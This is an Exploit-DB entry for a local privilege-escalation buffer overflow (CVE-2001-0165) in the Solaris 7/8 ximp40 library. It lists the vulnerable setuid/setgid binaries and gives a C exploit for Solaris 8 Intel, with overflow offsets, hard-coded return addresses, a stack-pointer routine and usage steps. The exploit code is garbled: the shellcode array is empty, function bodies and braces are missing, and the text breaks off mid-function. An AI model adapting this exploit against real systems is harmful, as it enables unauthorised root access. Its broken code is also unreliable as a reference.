Solaris 7/8 ximp40 Library Buffer Overflow Vulnerability

ID EDB-ID:20603
Type exploitdb
Reporter UNYUN
Modified 2001-01-31T00:00:00


Solaris 7/8 ximp40 Library Buffer Overflow Vulnerability. CVE-2001-0165 . Local exploit for solaris platform


Solaris is a variant of the UNIX Operating System, maintained and distributed by Sun Microsystems. It is freely available, with source code available.

A problem in the ximp40 library packaged with Openwin could allow a user to gain elevated privileges. Due to a problem with the handling of input by the programs linked against, it is possible to supply a long string, approximately 272 bytes, to the arg0 of the command, which will overwrite stack variables, including the return address of the program.

This makes it possible for a malicious user with local access to the system to execute arbitrary code, and depending upon which SUID binary is exploited, gain either EUID mail, or EUID root. Programs linked against the library that have been reported as vulnerable are:

*Solaris 8
suid root : /usr/dt/bin/dtaction
suid root : /usr/dt/bin/dtprintinfo
suid root : /usr/openwin/bin/sys-suspend
sgid mail : /usr/dt/bin/dtmail
sgid mail : /usr/openwin/bin/mailtool

*Solaris 7
suid root : /usr/dt/bin/dtaction
suid root : /usr/dt/bin/dtprintinfo
suid root : /usr/dt/bin/dtappgather
suid root : /usr/bin/admintool
suid root : /usr/openwin/bin/sys-suspend
sgid mail : /usr/dt/bin/dtmail
sgid mail : /usr/openwin/bin/mailtool

   Solaris ximp40 shared library exploit for Solaris8 Intel Edition
   The Shadow Penguin Security (
   Written by UNYUN (
    #xhost +targethost
    #telnet targethost
    %setenv DISPLAY yourhost:0.0
    %gcc ximp40.c
    0:Default value 1:Calculated value > 1   <- Input 0 or 1

#include  <stdio.h>

#define     BUF_SIZE        272
#define     EIP_OFFSET      260
#define     FAKE_OFFSET     264
#define     FAKE_VALUE      0x08046dec
#define     EIP_VALUE       0x08047cb4
#define     FAKE_VALUE_DIF  0xd9c
#define     EIP_VALUE_DIF   0x12c
#define     NOP             0x90

char    shell_code[]=

unsigned long get_sp(void)
  __asm__(" movl %esp,%eax ");

void valset(char *p,unsigned int val)

    char            buf[BUF_SIZE];
    unsigned int    esp=get_sp(),sw;


    printf("0:Default value 1:Calculated value >");
    if (sw==0){
        valset(buf+FAKE_OFFSET, FAKE_VALUE);
        valset(buf+EIP_OFFSET , EIP_VALUE);
        printf("Jumping address = %x\n",EIP_VALUE);
        valset(buf+FAKE_OFFSET, esp-FAKE_VALUE_DIF);
        valset(buf+EIP_OFFSET , esp+EIP_VALUE_DIF);
        printf("Jumping address = %x\n",esp+EIP_VALUE_DIF);